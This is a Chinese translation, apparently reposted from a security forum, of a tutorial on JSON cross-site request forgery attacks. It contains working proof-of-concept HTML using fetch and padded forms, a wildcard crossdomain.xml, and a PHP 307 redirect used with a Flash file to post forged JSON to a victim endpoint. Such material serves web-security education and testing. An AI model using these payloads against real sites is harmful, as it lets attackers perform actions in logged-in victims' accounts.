148

[翻译]使用Flash进行JSON CSRF攻击-『外文翻译』-看雪安全论坛

 6 years ago
source link: https://bbs.pediy.com/thread-221693.htm?
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

[翻译]使用Flash进行JSON CSRF攻击

2017-10-9 23:33

Hi 朋友们!

大家都知道CSRF攻击,如果不知道可看下OWASP的介绍,使用burp suite里自带的增强工具(engagement tools)可以很容易地构造各种基本的CSRF攻击POC,包括通过XHR请求进行的CSRF攻击。

在这篇文章里,我将要讨论下我经常碰到的一些CSRF攻击场景,看到社区里很多研究者对这个攻击场景都很好奇,我将尽可能的把它说清楚。 

这个技巧可用在使用JSON格式数据进行post请求的情况下。比如{“name”:”test”, “email”:”victim.com”},有两种攻击场景:

    服务器接收JSON格式的数据但是不验证Content-type。

    服务器接收JSON格式的数据,也验证Content-type,比如:Content-type得是 application/json。

说明:这种CSRF攻击只能用在网站应用只使用json格式的数据或者Content-type 为application/json,以及检查数据格式的情况下,如果有任何其它的csrf token或者referer检查,那么这种攻击将不会奏效。

攻击场景1:

使用Fetch请求就可以完成攻击。就像我们上面说的一样,这种场景下服务器只检查post的数据的格式是否正确,只要数据格式正确应用就会接受请求,即使Content-type被设置为text/plain也无妨。

现在假设我们需要把下面的数据发送给应用:{“name”:”attacker”,”email”:”[email protected]”}

新方法---使用Fetch:

<html>
<title>JSON CSRF POC</title>
<body>
<center>
<h1> JSON CSRF POC </h1>
<script>
fetch('http://vul-app.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
<form action="#">
<input type="button" value="Submit" />
</form>
</center>
</body>
</html>
735073_sbkangx9iyyvukr.png

以前的方法----使用form:

使用form构造JSON数据等然后发起post请求:

<html>
<title>JSON CSRF POC</title>
<center>
<h1> JSON CSRF POC </h1>
<form action=http://vul-app.com method=post enctype="text/plain" >
<input name='{"name":"attacker","email":"[email protected]","ignore_me":"' value='test"}'type='hidden'>
<input type=submit value="Submit">
</form>
</center>
</html>
这个html文件将发起post请求,使用了JSON格式的数据和一些额外填充的数据。如果应用不会被额外的填充数据影响(我所见的大多数都不会)。如果会被影响,那么还有第二种选择(使用上面的Fetch方法)。 
735073_0ots4rnngc4uykz.png

来源:http://blog.opensecurityresearch.com/2012/02/json-csrf-with-parameter-padding.html

攻击场景2:

如果应用检查Content-type和数据格式,那么可以借助flash和307重定向来实现攻击。

  1. 精心构造的Flash文件。
  2. crossdomain XML文件。
  3. 含有307状态的PHP文件。

精心构造的Flash文件:

flash文件(.swf)包含着json格式的数据(攻击者想要发送给目标的数据),并链接到某个放在服务器上的php文件。

735073_9zzl2qxu41aya3l.png

这里可以下载SWF文件,你可以下载并根据你的意愿编辑内容,我使用了FFDec来在Windows上编辑编译flash文件,你可以根据你的系统环境选择其它的工具。

crossdomain XML文件:

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

这个文件应该放在攻击者自己网站的主目录下,所以flash文件可以向攻击者的主机发起请求。

说明:如果flash文件和php跳转页在同一个域名下,那么你就不需要crossdomain文件了。

重定向的PHP文件:

<?php
// redirect automatically
header("Location: https://victim.com/user/endpoint/";, true, 307);
?>

Flash文件将会请求该PHP文件,这将会进行307重定向,定向到上面提到的应用目标端点(endpoint)。因为307是特殊跳转,它将会在跳转的同时,把从flash文件中得到的JSON数据post给目标,这样CSRF攻击就会成功执行。

735073_czdjen6qyv7l977.png

这里是hackone上利用该方法的一个漏洞报告#44146,漏洞作者是@avlidienbrunn 。

说明:因为是基于flash,所以浏览器需要安装有flash,现在的浏览器一般都装有flash,但未来可能就不会这样了。

更新说明1:

Evgeniy 编辑并编译了Flash文件,这样可以通过URL参数来传输所有的信息包括JSON数据,php文件&目标端点(endpoint)。这样不仅将复杂的攻击步骤变简单了,而且省去了了场景2中每次都得重新编译flash文件的复杂工作。

这里是更新后的flash以及其它文件,作者是Evgeniy

更新说明2:

对于场景1,在某些情况下服务器可能会因为额外的填充数据而拒绝请求,但是还有其它更好的方法,使用ftech或者XHR请求,我们可以无限制的提交JSON格式的数据以及添加POC代码。

感谢Prakash让我知道了这点。

原文链接:

Exploiting JSON Cross Site Request Forgery (CSRF) using Flash

本文由 看雪翻译小组  LImp 编译

【公告】 讲师招募 | 全新“预付费”模式,不想来试试吗?


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK